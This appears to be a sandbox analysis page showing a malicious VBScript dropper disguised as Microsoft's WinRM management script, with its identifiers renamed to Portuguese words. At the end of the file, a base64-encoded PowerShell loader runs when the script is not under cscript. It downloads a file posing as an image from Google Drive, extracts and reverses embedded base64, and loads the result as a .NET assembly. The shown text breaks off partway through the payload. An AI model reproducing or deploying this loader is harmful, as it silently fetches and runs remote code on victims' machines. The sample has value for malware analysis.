Static | ZeroBOX
No static analysis available.
private function CreateSession(wsman, conStr, optDic, mortinatalidade)
dim sanfoninarFlags
dim conOpt
dim sanfoninar
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
sanfoninarFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, mortinatalidade
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set sanfoninar = wsman.CreateSession(conStr, sanfoninarFlags, conOpt)
ASSERTERR wsman, mortinatalidade
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
sanfoninar.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = sanfoninar
end function
private function individualizar(cofose, sanfoninar, ditirambo, desobscurecer, mortinatalidade)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if ditirambo.ArgumentExists(NPARA_FILTER) then
filter = ditirambo.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if ditirambo.ArgumentExists(NPARA_DIALECT) then
dialect = ditirambo.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not ditirambo.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (ditirambo.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR cofose.EnumerationFlagAssociationInstance
Else
flags = flags OR cofose.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and ditirambo.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if ditirambo.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(ditirambo.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR cofose.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR cofose.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & ditirambo.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (ditirambo.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR cofose.EnumerationFlagHierarchyShallow
elseif (ditirambo.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then
flags = flags OR cofose.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR cofose.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = sanfoninar.individualizar(desobscurecer, filter, dialect, flags)
if Err.Number = T_O then
set e = sanfoninar.individualizar(desobscurecer, filter, dialect, flags)
if Err.Number = T_O then
set e = sanfoninar.individualizar(desobscurecer, filter, dialect, flags)
end if
end if
ASSERTERR sanfoninar, mortinatalidade
on error goto 0
if ditirambo.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = ditirambo.Argument(NPARA_TIMEOUT)
end if
if(LCase(mortinatalidade) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, mortinatalidade
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,mortinatalidade) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(mortinatalidade) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
individualizar = ""
end function
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,ditirambo)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = ditirambo.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(ditirambo.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = ditirambo.Argument(NPARA_FRAGMENT)
end if
if(ditirambo.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = ditirambo.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
private function cadaval()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
cadaval = True
else
cadaval = False
end if
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, ditirambo, resourceLocator,sanfoninarObj,inputStr,mortinatalidade)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = ditirambo.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if ditirambo.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(ditirambo.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = sanfoninarObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR sanfoninarObj, mortinatalidade
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
Function talhado(ByVal almeice, ByVal septicida, ByVal artisticamente)
Dim mula
mula = InStr(almeice, septicida)
Do While mula > 0
almeice = Left(almeice, mula - 1) & artisticamente & Mid(almeice, mula + Len(septicida))
mula = InStr(mula + Len(artisticamente), almeice, septicida)
Loop
talhado = almeice
End Function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
If Not cadaval() Then
On Error Resume Next
fosfena = "SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9
kcml2Z
nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU
95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlY
kNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHd"
fosfena = fosfena & "lYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2
VVcmwp
EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR
2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FP
JysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aD"
fosfena = fosfena & "FTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuS
W5kZXh
ihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2Yo
cU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCA
tZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGb"
fosfena = fosfena & "GEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRl
bmRJbm
eCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5
TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU
80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hh"
fosfena = fosfena & "ckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB
9KScrJ
tMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IF
tTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlN
jRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkF"
